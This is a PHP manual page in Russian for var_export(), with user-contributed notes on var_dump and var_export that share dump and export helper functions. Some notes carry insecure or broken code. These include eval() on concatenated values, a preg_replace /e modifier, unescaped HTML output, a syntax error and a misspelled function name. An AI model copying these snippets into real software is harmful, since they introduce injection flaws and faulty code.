                $type_data = htmlentities($data); break;

            case "Boolean":
                $type_color = "#92008d";
                $type_length = strlen($data);
                $type_data = $data ? "TRUE" : "FALSE"; break;

            case "NULL":
                $type_length = 0; break;

            case "Array":
                $type_length = count($data);
        }

        if (in_array($type, array("Object", "Array"))) {
            $notEmpty = false;

            foreach($data as $key => $value) {
                if (!$notEmpty) {
                    $notEmpty = true;

                    if ($isTerminal) {
                        echo $type . ($type_length !== null ? "(" . $type_length . ")" : "")."\n";

                    } else {
                        $id = substr(md5(rand().":".$key.":".$level), 0, 8);

                        echo "<a href=\"javascript:toggleDisplay('". $id ."');\" style=\"text-decoration:none\">";
                        echo "<span style='color:#666666'>" . $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "</span>";
                        echo "</a>";
                        echo "<span id=\"plus". $id ."\" style=\"display: " . ($collapse ? "inline" : "none") . ";\">&nbsp;&#10549;</span>";
                        echo "<div id=\"container". $id ."\" style=\"display: " . ($collapse ? "" : "inline") . ";\">";
                        echo "<br />";
                    }

                    for ($i=0; $i <= $level; $i++) {
                        echo $isTerminal ? "|    " : "<span style='color:black'>|</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                    }

                    echo $isTerminal ? "\n" : "<br />";
                }

                for ($i=0; $i <= $level; $i++) {
                    echo $isTerminal ? "|    " : "<span style='color:black'>|</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                }

                echo $isTerminal ? "[" . $key . "] => " : "<span style='color:black'>[" . $key . "]&nbsp;=>&nbsp;</span>";

                call_user_func($recursive, $value, $level+1);
            }

            if ($notEmpty) {
                for ($i=0; $i <= $level; $i++) {
                    echo $isTerminal ? "|    " : "<span style='color:black'>|</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                }

                if (!$isTerminal) {
                    echo "</div>";
                }

            } else {
                echo $isTerminal ?
                        $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "  " :
                        "<span style='color:#666666'>" . $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "</span>&nbsp;&nbsp;";
            }

        } else {
            echo $isTerminal ?
                    $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "  " :
                    "<span style='color:#666666'>" . $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "</span>&nbsp;&nbsp;";

            if ($type_data != null) {
                echo $isTerminal ? $type_data : "<span style='color:" . $type_color . "'>" . $type_data . "</span>";
            }
        }

        echo $isTerminal ? "\n" : "<br />";
    };

    call_user_func($recursive, $input);
}
?>
stlawson *AT* joyfulearthtech *DOT* com 10-Aug-2011 09:31
<?php
/**
 * Better GI than print_r or var_dump -- but, unlike var_dump, you can only dump one variable.
 * Added htmlentities on the var content before echo, so you see what is really there, and not the mark-up.
 *
 * Also, now the output is encased within a div block that sets the background color, font style, and left-justifies it
 * so it is not at the mercy of ambient styles.
 *
 * Inspired from:     PHP.net Contributions
 * Stolen from:       [highstrike at gmail dot com]
 * Modified by:       stlawson *AT* JoyfulEarthTech *DOT* com
 *
 * @param mixed $var  -- variable to dump
 * @param string $var_name  -- name of variable (optional) -- displayed in printout making it easier to sort out what variable is what in a complex output
 * @param string $indent -- used by internal recursive call (no known external value)
 * @param unknown_type $reference -- used by internal recursive call (no known external value)
 */
function do_dump(&$var, $var_name = NULL, $indent = NULL, $reference = NULL)
{
    $do_dump_indent = "<span style='color:#666666;'>|</span> &nbsp;&nbsp; ";
    $reference = $reference.$var_name;
    $keyvar = 'the_do_dump_recursion_protection_scheme'; $keyname = 'referenced_object_name';

    // So this is always visible and always left justified and readable
    echo "<div style='text-align:left; background-color:white; font: 100% monospace; color:black;'>";

    if (is_array($var) && isset($var[$keyvar]))
    {
        $real_var = &$var[$keyvar];
        $real_name = &$var[$keyname];
        $type = ucfirst(gettype($real_var));
        echo "$indent$var_name <span style='color:#666666'>$type</span> = <span style='color:#e87800;'>&amp;$real_name</span><br>";
    }
    else
    {
        $var = array($keyvar => $var, $keyname => $reference);
        $avar = &$var[$keyvar];

        $type = ucfirst(gettype($avar));
        if($type == "String") $type_color = "<span style='color:green'>";
        elseif($type == "Integer") $type_color = "<span style='color:red'>";
        elseif($type == "Double"){ $type_color = "<span style='color:#0099c5'>"; $type = "Float"; }
        elseif($type == "Boolean") $type_color = "<span style='color:#92008d'>";
        elseif($type == "NULL") $type_color = "<span style='color:black'>";

        if(is_array($avar))
        {
            $count = count($avar);
            echo "$indent" . ($var_name ? "$var_name => ":"") . "<span style='color:#666666'>$type ($count)</span><br>$indent(<br>";
            $keys = array_keys($avar);
            foreach($keys as $name)
            {
                $value = &$avar[$name];
                do_dump($value, "['$name']", $indent.$do_dump_indent, $reference);
            }
            echo "$indent)<br>";
        }
        elseif(is_object($avar))
        {
            echo "$indent$var_name <span style='color:#666666'>$type</span><br>$indent(<br>";
            foreach($avar as $name=>$value) do_dump($value, "$name", $indent.$do_dump_indent, $reference);
            echo "$indent)<br>";
        }
        elseif(is_int($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color".htmlentities($avar)."</span><br>";
        elseif(is_string($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color\"".htmlentities($avar)."\"</span><br>";
        elseif(is_float($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color".htmlentities($avar)."</span><br>";
        elseif(is_bool($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color".($avar == 1 ? "TRUE":"FALSE")."</span><br>";
        elseif(is_null($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> {$type_color}NULL</span><br>";
        else echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> ".htmlentities($avar)."<br>";

        $var = $var[$keyvar];
    }

    echo "</div>";
}
?>
kobrasrealm at gmail dot com 23-Jun-2011 01:28
I wrote this dandy little function for using var_dump() on HTML documents so I don't have to view the source.

<?php
function htmldump($variable, $height="9em") {
echo "<pre style=\"border: 1px solid #000; height: {$height}; overflow: auto; margin: 0.5em;\">";
var_dump($variable);
echo "</pre>\n";
}
?>

You can pass arguments like this:
<?php
$sql = mysql_query("SELECT id, name, value FROM table WHERE cond = 'value'");
$s = mysql_fetch_assoc($sql);

// Dump variable containing the result of the MySQL query
var_dump($s);
?>

The second parameter lets you specify the height of the box. Default is 9em, but if you're expecting a huge output you'll probably want a higher value.

<?php
var_dump($s, "17em");
?>

Happy var_dumping.
divinity76 at gmail dot com 23-Apr-2011 06:53
a html-encoded var_dump

<?php
function htmlvardump(){ob_start(); $var = func_get_args(); call_user_func_array('var_dump', $var); echo htmentities(ob_get_clean());}
?>

(creds: ekneuss / mOo @ irc.freenode.net/#php )
david at exposito dot mobi 07-Feb-2010 11:36
If you want to save exactly the content of an array into a variable to save ir later for example, use this:

<?php $xml = var_export($xml, true); ?>

You'll have in your same variable the content readable, instead of written down or anything else
egorinsk at gmail com 02-Feb-2009 04:08
Note that var_dump reset()'s array internal pointer!
rich dot schu at gmail dot com 09-Apr-2008 05:56
Keep in mind if you have xdebug installed it will limit the var_dump() output of array elements and object properties to 3 levels deep.

To change the default, edit your xdebug.ini file and add the folllowing line:
xdebug.var_display_max_depth=n

More information here:
http://www.xdebug.org/docs/display
highstrike at gmail dot com 08-Jan-2008 05:33
made 2 nifty functions based of what some people contributed here. Hope you find them usefull

usage ... call for the dump function. EG: dump($array, "Array dump");

<?php
////////////////////////////////////////////////////////
// Function:         dump
// Inspired from:     PHP.net Contributions
// Description: Helps with php debugging

function dump(&$var, $info = FALSE)
{
    $scope = false;
    $prefix = 'unique';
    $suffix = 'value';

    if($scope) $vals = $scope;
    else $vals = $GLOBALS;

    $old = $var;
    $var = $new = $prefix.rand().$suffix; $vname = FALSE;
    foreach($vals as $key => $val) if($val === $new) $vname = $key;
    $var = $old;

    echo "<pre style='margin: 0px 0px 10px 0px; display: block; background: white; color: black; font-family: Verdana; border: 1px solid #cccccc; padding: 5px; font-size: 10px; line-height: 13px;'>";
    if($info != FALSE) echo "<b style='color: red;'>$info:</b><br>";
    do_dump($var, '$'.$vname);
    echo "</pre>";
}

////////////////////////////////////////////////////////
// Function:         do_dump
// Inspired from:     PHP.net Contributions
// Description: Better GI than print_r or var_dump

function do_dump(&$var, $var_name = NULL, $indent = NULL, $reference = NULL)
{
    $do_dump_indent = "<span style='color:#eeeeee;'>|</span> &nbsp;&nbsp; ";
    $reference = $reference.$var_name;
    $keyvar = 'the_do_dump_recursion_protection_scheme'; $keyname = 'referenced_object_name';

    if (is_array($var) && isset($var[$keyvar]))
    {
        $real_var = &$var[$keyvar];
        $real_name = &$var[$keyname];
        $type = ucfirst(gettype($real_var));
        echo "$indent$var_name <span style='color:#a2a2a2'>$type</span> = <span style='color:#e87800;'>&amp;$real_name</span><br>";
    }
    else
    {
        $var = array($keyvar => $var, $keyname => $reference);
        $avar = &$var[$keyvar];

        $type = ucfirst(gettype($avar));
        if($type == "String") $type_color = "<span style='color:green'>";
        elseif($type == "Integer") $type_color = "<span style='color:red'>";
        elseif($type == "Double"){ $type_color = "<span style='color:#0099c5'>"; $type = "Float"; }
        elseif($type == "Boolean") $type_color = "<span style='color:#92008d'>";
        elseif($type == "NULL") $type_color = "<span style='color:black'>";

        if(is_array($avar))
        {
            $count = count($avar);
            echo "$indent" . ($var_name ? "$var_name => ":"") . "<span style='color:#a2a2a2'>$type ($count)</span><br>$indent(<br>";
            $keys = array_keys($avar);
            foreach($keys as $name)
            {
                $value = &$avar[$name];
                do_dump($value, "['$name']", $indent.$do_dump_indent, $reference);
            }
            echo "$indent)<br>";
        }
        elseif(is_object($avar))
        {
            echo "$indent$var_name <span style='color:#a2a2a2'>$type</span><br>$indent(<br>";
            foreach($avar as $name=>$value) do_dump($value, "$name", $indent.$do_dump_indent, $reference);
            echo "$indent)<br>";
        }
        elseif(is_int($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color$avar</span><br>";
        elseif(is_string($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color\"$avar\"</span><br>";
        elseif(is_float($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color$avar</span><br>";
        elseif(is_bool($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color".($avar == 1 ? "TRUE":"FALSE")."</span><br>";
        elseif(is_null($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> {$type_color}NULL</span><br>";
        else echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $avar<br>";

        $var = $var[$keyvar];
    }
}
?>
vladimir at pixeltomorrow dot com 10-Sep-2007 12:45
You can also use the PEAR package available at http://pear.php.net/package/Var_Dump

which parses the variable content in a very pleasant manner, a lot more easier to "follow" than the built-in var_dump() function.

Of course there are many others, but I prefer this one, because it's simply to use.

Just add at the begining of your file:

<?php

require('Var_Dump.php'); // make sure the pear package path is set in php.ini
Var_Dump::displayInit(array('display_mode' => 'HTML4_Text'), array('mode' => 'normal','offset' => 4));
?>

then, instead of simply using var_dump($foo), use:

<?php

Var_Dump::display($foo);

?>

Read the documentation if you're looking for different output layouts.

Cheers!
Vladimir Ghetau
thriller dot ze at gmail dot com 21-Aug-2007 01:49
As Bryan said, it is possible to capture var_dump() output to a string. But it's not quite exact if the dumped variable contains HTML code.

You can use this instead:

<?php
echo '<pre>'; // This is for correct handling of newlines
ob_start();
var_dump($var);
$a=ob_get_contents();
ob_end_clean();
echo htmlspecialchars($a,ENT_QUOTES); // Escape every HTML special chars (especially > and < )
echo '</pre>';
?>
php at mikeboers dot com 28-Jun-2007 01:08
Howdy!

I am working on a pretty large project where I needed to dump a human readable form of whatever into the log files... and I thought var_export was too difficult to read. BigueNique at yahoo dot ca has a nice solution, although I needed to NOT modify whatever was being passed to dump.

So borrowing heavily from BigueNique's (just reworked his function) and someone's idea over in the object cloning page, I came up with the following function.

It makes a complete copy of whatever object you initially pass it, including all recursive definitions and outside objects references, then does the same thing as BigueNique's function. I also heavily reworked what it output, to suit my needs.

<?php

function var_log(&$varInput, $var_name='', $reference='', $method = '=', $sub = false) {

    static $output ;
    static $depth ;

    if ( $sub == false ) {
        $output = '' ;
        $depth = 0 ;
        $reference = $var_name ;
        $var = serialize( $varInput ) ;
        $var = unserialize( $var ) ;
    } else {
        ++$depth ;
        $var =& $varInput ;

    }

    // constants
    $nl = "\n" ;
    $block = 'a_big_recursion_protection_block';

    $c = $depth ;
    $indent = '' ;
    while( $c -- > 0 ) {
        $indent .= '|  ' ;
    }

    // if this has been parsed before
    if ( is_array($var) && isset($var[$block])) {

        $real =& $var[ $block ] ;
        $name =& $var[ 'name' ] ;
        $type = gettype( $real ) ;
        $output .= $indent.$var_name.' '.$method.'& '.($type=='array'?'Array':get_class($real)).' '.$name.$nl;

    // havent parsed this before
    } else {

        // insert recursion blocker
        $var = Array( $block => $var, 'name' => $reference );
        $theVar =& $var[ $block ] ;

        // print it out
        $type = gettype( $theVar ) ;
        switch( $type ) {

            case 'array' :
                $output .= $indent . $var_name . ' '.$method.' Array ('.$nl;
                $keys=array_keys($theVar);
                foreach($keys as $name) {
                    $value=&$theVar[$name];
                    var_log($value, $name, $reference.'["'.$name.'"]', '=', true);
                }
                $output .= $indent.')'.$nl;
                break ;

            case 'object' :
                $output .= $indent.$var_name.' = '.get_class($theVar).' {'.$nl;
                foreach($theVar as $name=>$value) {
                    var_log($value, $name, $reference.'->'.$name, '->', true);
                }
                $output .= $indent.'}'.$nl;
                break ;

            case 'string' :
                $output .= $indent . $var_name . ' '.$method.' "'.$theVar.'"'.$nl;
                break ;

            default :
                $output .= $indent . $var_name . ' '.$method.' ('.$type.') '.$theVar.$nl;
                break ;

        }

        // $var=$var[$block];

    }

    -- $depth ;

    if( $sub == false )
        return $output ;

}

// var_log( $var, '$name' ) ;

?>

Hope it works well for you!
jonbarnett at gmail dot com 02-Oct-2006 12:25
dumping objects that reference each other could lead to infinite recursion
<?php
$brother = new Sibling();
$sister = new Sibling();
$brother->sister = $sister;
$sister->brother = $brother;

var_dump($brother);
/* dumps all of $brother's properties, including "sister", which dumps all of $sister's properties, including "brother", etc. */
?>
edwardzyang at thewritingpot dot com 20-Mar-2005 02:06
If you're like me and uses var_dump whenever you're debugging, you might find these two "wrapper" functions helpful.

This one automatically adds the PRE tags around the var_dump output so you get nice formatted arrays.

<?php

function var_dump_pre($mixed = null) {
  echo '<pre>';
  var_dump($mixed);
  echo '</pre>';
  return null;
}

?>

This one returns the value of var_dump instead of outputting it.

<?php

function var_dump_ret($mixed = null) {
  ob_start();
  var_dump($mixed);
  $content = ob_get_contents();
  ob_end_clean();
  return $content;
}

?>

Fairly simple functions, but they're infinitely helpful (I use var_dump_pre() almost exclusively now).
anon 28-Jan-2005 06:31
var_dump(get_defined_vars());
will dump all defined variables to the browser.


Выводит или возвращает интерпретируемое строковое представление переменной

  • « var_dump
  • Веб-сервисы »
  • PHP Manual
  • Функции для работы с переменными
  • Выводит или возвращает интерпретируемое строковое представление переменной

var_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

var_export — Выводит или возвращает интерпретируемое строковое представление переменной

Описание

var_export(mixed $value, bool $return = false): ?string

var_export() возвращает структурированную информацию о данной переменной. Функция аналогична var_dump() за одним исключением: возвращаемое представление является полноценным PHP-кодом.

Список параметров

value

Переменная, которую необходимо экспортировать.

return

Если передано и значение равно true, var_export() вернёт представление переменной вместо его вывода.

Возвращаемые значения

Возвращает представление переменной, если параметр return передан и равен true. В противном случае функция возвращает null.

Список изменений

Версия | Описание
8.2.0 | Имена экспортируемых классов теперь полностью определены; ранее ведущий обратный слеш опускался.
7.3.0 | Теперь объекты stdClass экспортируются в виде массива, приведённого к объекту (массив (object) array( ... )), вместо использования несуществующего метода stdClass::__setState(). Практический эффект заключается в том, что теперь stdClass можно экспортировать, и полученный код будет работать даже в более ранних версиях PHP.

Примеры

Пример #1 Примеры использования var_export()

<?php
$a = array (1, 2, array ("a", "b", "c"));
var_export($a);
?>

Результат выполнения приведённого примера:

array (
  0 => 1,
  1 => 2,
  2 =>
  array (
    0 => 'a',
    1 => 'b',
    2 => 'c',
  ),
)
<?php

$b = 3.1;
$v = var_export($b, true);
echo $v;

?>

Результат выполнения приведённого примера:

3.1

Пример #2 Экспорт stdClass с PHP 7.3.0

<?php
$person = new stdClass;
$person->name = 'ElePHPant ElePHPantsdotter';
$person->website = 'https://php.net/elephpant.php';

var_export($person);

Результат выполнения приведённого примера:

(object) array(
   'name' => 'ElePHPant ElePHPantsdotter',
   'website' => 'https://php.net/elephpant.php',
)

Пример #3 Экспорт классов

<?php
class A { public $var; }
$a = new A;
$a->var = 5;
var_export($a);
?>

Результат выполнения приведённого примера:

A::__set_state(array(
   'var' => 5,
))

Пример #4 Использование __set_state()

<?php
class A
{
public $var1;
public $var2;

public static function __set_state($an_array)
{
$obj = new A;
$obj->var1 = $an_array['var1'];
$obj->var2 = $an_array['var2'];
return $obj;
}
}

$a = new A;
$a->var1 = 5;
$a->var2 = 'foo';

eval('$b = ' . var_export($a, true) . ';'); // $b = A::__set_state(array(
// 'var1' => 5,
// 'var2' => 'foo',
// ));
var_dump($b);
?>

Результат выполнения приведённого примера:

object(A)#2 (2) {
  ["var1"]=>
  int(5)
  ["var2"]=>
  string(3) "foo"
}

Примечания

Замечание:

Переменные типа resource не могут быть экспортированы с помощью этой функции.

Замечание:

var_export() не обрабатывает циклические ссылки, так как было бы почти невозможно сгенерировать интерпретируемый PHP-код для такого случая. Если необходимо производить какие-то действия с полным представлением массива или объекта, используйте функцию serialize().

Внимание

До версии PHP 8.2.0, когда функция var_export() экспортировала объекты, ведущий обратный слеш не добавлялся в имя класса с указанным пространством имён для наилучшей обратной совместимости.

Замечание:

Для того, чтобы можно было использовать сгенерированный var_export() PHP-код, необходимо, чтобы все затронутые объекты реализовывали магический метод __set_state. Единственное исключение — stdClass, который экспортируется с использованием массива, приведённого к объекту.

Смотрите также

  • print_r() - Выводит удобочитаемую информацию о переменной
  • serialize() - Генерирует пригодное для хранения представление переменной
  • var_dump() - Выводит информацию о переменной

User Contributed Notes

php dot net at rupert-eibauer dot de 08-Oct-2022 01:02
Warning: var_export fails to create distinct property names if you have a private property in your class and one with the same name in a parent class.

<?php
class TestParent {
    private $priv = "Parent Private";
    protected $prot = "Parent Protected";
    public $pub = "Parent Public";
}
class Test extends TestParent {
    private $priv = "Private Info";
    protected $prot = "Protected Info";
    public $pub = "Public Info";
}
$t = new Test;
var_export($t);
Result:
Test::__set_state(array(
   'priv' => 'Private Info',
   'prot' => 'Protected Info',
   'pub' => 'Public Info',
   'priv' => 'Parent Private',
))
?>

To work around that problem, I created my own var_export, which also uses a more compact format, and using [] for arrays:

<?php
function var_export3($var, $indent = '') {
    if (is_array($var)) {
        $indent .= '    ';
        $ret = '';
        $i = 0;
        $is_num = true;
        foreach ($var AS $idx => $value) {
            if ($ret != '')
                $ret .= ",\n";
            if ($is_num && $idx === $i) {
                $i++;
                $ret .= $indent.var_export3($value, $indent);
            } else {
                $is_num = false;
                $ret .= $indent.var_export3($idx).'=>'.var_export3($value, $indent);
            }
        }
        if ($ret == '')
            return "[]";
        return "[\n".$ret."]";
    } else if (is_bool($var)) {
        return $var ? 'true' : 'false';
    } else if (is_int($var) || is_float($var)) {
        return $var;
    } else if (is_string($var)) {
        if ($var === (string)(float)$var)
            return $var;
        return "'".str_replace(["\0", '\\', '\''], ["\\0", '\\', '\\\''], $var)."'";
    } else if (is_object($var)) {
        $class = get_class($var);
        if ($class == 'stdClass') {
            $prefix = ;
            return "(object)".var_export3((array)$var, $indent);
        } else {
            return "$class::__set_state(".var_export3((array)$var, $indent).')';
        }
    }
}

echo var_export3($t)."\n";
Result:
Test::__set_state([
        '\0Test\0priv'=>'Private Info',
        '\0*\0prot'=>'Protected Info',
        'pub'=>'Public Info',
        '\0TestParent\0priv'=>'Parent Private'])
?>
Note that replacement for non-printable characters is not complete.
steven at nevvix dot com 13-Sep-2019 03:52
I improved my previous varexport().

<?php
/**
 * PHP var_export() with short array syntax (square brackets) indented 2 spaces.
 *
 * NOTE: The only issue is when a string value has `=>\n[`, it will get converted to `=> [`
 * @link https://www.php.net/manual/en/function.var-export.php
 */
function varexport($expression, $return=FALSE) {
    $export = var_export($expression, TRUE);
    $patterns = [
        "/array \(/" => '[',
        "/^([ ]*)\)(,?)$/m" => '$1]$2',
        "/=>[ ]?\n[ ]+\[/" => '=> [',
        "/([ ]*)(\'[^\']+\') => ([\[\'])/" => '$1$2 => $3',
    ];
    $export = preg_replace(array_keys($patterns), array_values($patterns), $export);
    if ((bool)$return) return $export; else echo $export;
}

$array = [
    'str' => 'Test
       spaces',
       0 => 33,
       1 => TRUE,
       [3,4,'d',[]],
    'arr' => [
        'text with spaces' => '[Tes\'t"s":
 => [
 =>
  [
   {
      spaces',
    ],
    "str2" => "Test's'
 } spaces",
    'arr2' => [
        'text with spaces' => [
            'arr3' => [
                'text with spaces' => 'Te": "st \' => [
      spaces',
            ],
        ],
    ],
];
varexport($array);
// Result:
```
[
  'str' => 'Test
       spaces',
  0 => 33,
  1 => true,
  2 => [
    0 => 3,
    1 => 4,
    2 => 'd',
    3 => [
    ],
  ],
  'arr' => [
    'text with spaces' => '[Tes\'t"s":
 => [
 => [
   {
      spaces',
  ],
  'str2' => 'Test\'s\'
 } spaces',
  'arr2' => [
    'text with spaces' => [
      'arr3' => [
        'text with spaces' => 'Te": "st \' => [
      spaces',
      ],
    ],
  ],
]
```
NOTE: The only issue is when a string value has `=>\n[`, it will get converted to `=> [`
beverasrilakshmi at gmail dot com 01-May-2019 08:24
Just for fun, trying to understand the definition of "returns parsable string"....any type of variable passed to var_export, the return value will be a typecasted as string...

<?php

$var = 1;
var_dump($var); //type is int as expected
echo "<br>";
$var_after_export = var_export($var,true); //returning $var will now makes it a string
var_dump($var_after_export);

?>
steven at nevvix dot com 18-Jun-2018 06:24
/**
 * var_export() with square brackets and indented 4 spaces.
 */
<?php
function varexport($expression, $return=FALSE) {
    $export = var_export($expression, TRUE);
    $export = preg_replace("/^([ ]*)(.*)/m", '$1$1$2', $export);
    $array = preg_split("/\r\n|\n|\r/", $export);
    $array = preg_replace(["/\s*array\s\($/", "/\)(,)?$/", "/\s=>\s$/"], [NULL, ']$1', ' => ['], $array);
    $export = join(PHP_EOL, array_filter(["["] + $array));
    if ((bool)$return) return $export; else echo $export;
}
Mark P 29-Jan-2016 09:09
It doesn't appear to be documented, but the behaviour of `var_export()` changed in PHP 7.

Previously, `var_export(3.)` returned "3", now it returns "3.0".
cpmcgrat()uci ! edu 27-Jul-2015 10:45
When trying to use __set_state() to rebuild a huge, tricky class use the following:

class Foo
{
    public $a;
    public $b;
    public $c;
    public $d;
    public $e;
    public $f;
    public $g;
    public $h;
    public $i;

    public function __set_state($array)
    {
        $obj = new ArrayConfig;
        foreach($array as $k => $v) {
            eval('$obj->'.$k.' = '.$v.';');
        }
        return $obj;
    }
}

This will return a reconstructed version of the class without having to manually type each individual object in the class manually (as shown in the __set_state() example)
dan at coders dot co dot nz 10-Jan-2014 02:11
I found that my complex type was exporting with
  stdClass::__set_state()
in places. Not only was that strange and messy, it cannot be eval()-ed back in at all. Fatal error. Doh!

However a quick string-replace tidy-up of the result rendered it valid again.

    $macro = var_export($data, TRUE);
    $macro = str_replace("stdClass::__set_state", "(object)", $macro);
    $macro = '$data = ' . $macro . ';';

And now the string I output *can* be evaluated back in again.
wyattstorch42 at outlook dot com 22-Dec-2013 10:11
If you call var_export() on an instance of stdClass, it attempts to export it using ::__set_state(), which, for some reason, is not implemented in stdClass.

However, casting an associative array to an object usually produces the same effect (at least, it does in my case). So I wrote an improved_var_export() function to convert instances of stdClass to (object) array () calls. If you choose to export objects of any other class, I'd advise you to implement ::__set_state().

<?php
/**
 * An implementation of var_export() that is compatible with instances
 * of stdClass.
 * @param mixed $variable The variable you want to export
 * @param bool $return If used and set to true, improved_var_export()
 *     will return the variable representation instead of outputting it.
 * @return mixed|null Returns the variable representation when the
 *     return parameter is used and evaluates to TRUE. Otherwise, this
 *     function will return NULL.
 */
function improved_var_export ($variable, $return = false) {
    if ($variable instanceof stdClass) {
        $result = '(object) '.improved_var_export(get_object_vars($variable), true);
    } else if (is_array($variable)) {
        $array = array ();
        foreach ($variable as $key => $value) {
            $array[] = var_export($key, true).' => '.improved_var_export($value, true);
        }
        $result = 'array ('.implode(', ', $array).')';
    } else {
        $result = var_export($variable, true);
    }

    if (!$return) {
        print $result;
        return null;
    } else {
        return $result;
    }
}

// Example usage:
$obj = new stdClass;
$obj->test = 'abc';
$obj->other = 6.2;
$obj->arr = array (1, 2, 3);

improved_var_export((object) array (
    'prop1' => true,
    'prop2' => $obj,
    'assocArray' => array (
        'apple' => 'good',
        'orange' => 'great'
    )
));

/* Output:
(object) array ('prop1' => true, 'prop2' => (object) array ('test' => 'abc', 'other' => 6.2, 'arr' => array (0 => 1, 1 => 2, 2 => 3)), 'assocArray' => array ('apple' => 'good', 'orange' => 'great'))
*/
?>

Note: This function spits out a single line of code, which is useful to save in a cache file to include/eval. It isn't formatted for readability. If you want to print a readable version for debugging purposes, then I would suggest print_r() or var_dump().
chudinov at yahoo dot com 29-Nov-2013 09:55
Looks like since version 5.4.22 var_export uses the serialize_precision ini setting, rather than the precision one used for normal output of floating-point numbers.
As a consequence since version 5.4.22 for example var_export(1.1) will output 1.1000000000000001 (17 is default precision value) and not 1.1 as before.

<?php
//ouput 1.1000000000000001
var_export(1.1)
 ?>
NitPicker 10-Jul-2013 04:33
When it comes to HTML output (as discussed below), it's all fun and games until someone pokes their eye out with a "<".

Surround it with "<pre>", but do remember to wrap it in htmlspecialchars() as well.
sergei dot solomonov at gmail dot com 04-Oct-2012 04:00
<?php
$closure = function(){};

var_export($closure);

// output: Closure::__set_state(array())
?>
kexianbin at diyism dot com 16-Sep-2012 02:33
to use my_var_export(), it is as beautiful as var_export() and as could deal with recursive reference as print_r():

<?php
function my_var_export($var, $is_str=false)
         {$rtn=preg_replace(array('/Array\s+\(/', '/\[(\d+)\] => (.*)\n/', '/\[([^\d].*)\] => (.*)\n/'), array('array (', '\1 => \'\2\''."\n", '\'\1\' => \'\2\''."\n"), substr(print_r($var, true), 0, -1));
          $rtn=strtr($rtn, array("=> 'array ('"=>'=> array ('));
          $rtn=strtr($rtn, array(")\n\n"=>")\n"));
          $rtn=strtr($rtn, array("'\n"=>"',\n", ")\n"=>"),\n"));
          $rtn=preg_replace(array('/\n +/e'), array('strtr(\'\0\', array(\'    \'=>\'  \'))'), $rtn);
          $rtn=strtr($rtn, array(" Object',"=>" Object'<-"));
          if ($is_str)
             {return $rtn;
             }
          else
              {echo $rtn;
              }
         }

?>
jodybrabec at gmail dot com 28-Mar-2012 05:52
WORKAROUND for error "Nesting level too deep - recursive dependency":
ob_start();
var_dump($GLOBALS);
$dataDump = ob_get_clean();
echo $dataDump;
Anonymous 11-Nov-2011 09:13
There is an even simpler way to have clean output from var_export and print_r in html pages:

<?php
function pretty_var($myArray)
{
    echo "<pre>";
    var_export($myArray);
    echo "</pre>";
}
?>
laszlo dot heredy at gmail dot com 06-Oct-2010 01:57
Try this function instead of var_export($GLOBALS) or var_dump($GLOBALS) when all you want to know is the values of the variables you set on the current page.

<?php
function globalvars(){
    $result=array();
    $skip=array('GLOBALS','_ENV','HTTP_ENV_VARS',
                        '_POST','HTTP_POST_VARS','_GET',
                        'HTTP_GET_VARS',
                        '_COOKIE',
                        'HTTP_COOKIE_VARS','_SERVER',
                        'HTTP_SERVER_VARS',
                        '_FILES','HTTP_POST_FILES',
                        '_REQUEST','HTTP_SESSION_VARS',
                        '_SESSION');
    foreach($GLOBALS as $k=>$v)
        if(!in_array($k,$skip))
            $result[$k]=$v;
    return $result;
}//functionglobalvars

var_export(globalvars());
?>
4n4jmza02 at sneakemail dot com 17-Jun-2010 04:50
I learned the hard way that if var_export encounters a resource handle it exports it as "NULL", even if it is a valid handle. The documentation states that a handle cannot be exported, but it does not describe what happens if you try to do so anyway.

I had been using var_export in some debugging code while tracing a problem with a resource handle not being generated and ended up thinking that null handles were still being generated long after the problem had been fixed.
john dot risken at gmail dot com 16-Jan-2010 03:53
I didn't see this simple little item anywhere in the user notes. Maybe I'm blind!

Anyway, var_export and print_r both use spaces and carriage returns for formatting.  Sent to an html page, most of the formatting is lost. This simple function prints a nicely formatted array to an html screen:

<?php
function pretty_var($myArray){
    print str_replace(array("\n"," "),array("<br>","&nbsp;"), var_export($myArray,true))."<br>";
}
?>
rarioj at gmail dot com 28-Oct-2009 10:43
NOTE: If an object Foo has __set_state() method, but if that object contains another object Bar with no __set_state() method implemented, the resulting PHP expression will not be eval()-able.

This is an example (object Test that contains an instance of Exception).

<?php

class Test
{
  public $one;
  public $two;
  public function __construct($one, $two)
  {
    $this->one = $one;
    $this->two = $two;
  }
  public static function __set_state(array $array)
  {
    return new self($array['one'], $array['two']);
  }
}

$test = new Test('one', new Exception('test'));

$string = var_export($test, true);

/* $string =
Test::__set_state(array(
   'one' => 'one',
   'two' =>
  Exception::__set_state(array(
     'message' => 'test',
     'string' => '',
     'code' => 0,
     'file' => 'E:\\xampp\\htdocs\\test.Q.php',
     'line' => 35,
     'trace' =>
    array (
    ),
     'previous' => NULL,
  )),
))
*/

eval('$test2 = '.$string.';'); // Fatal error: Call to undefined method Exception::__set_state

?>

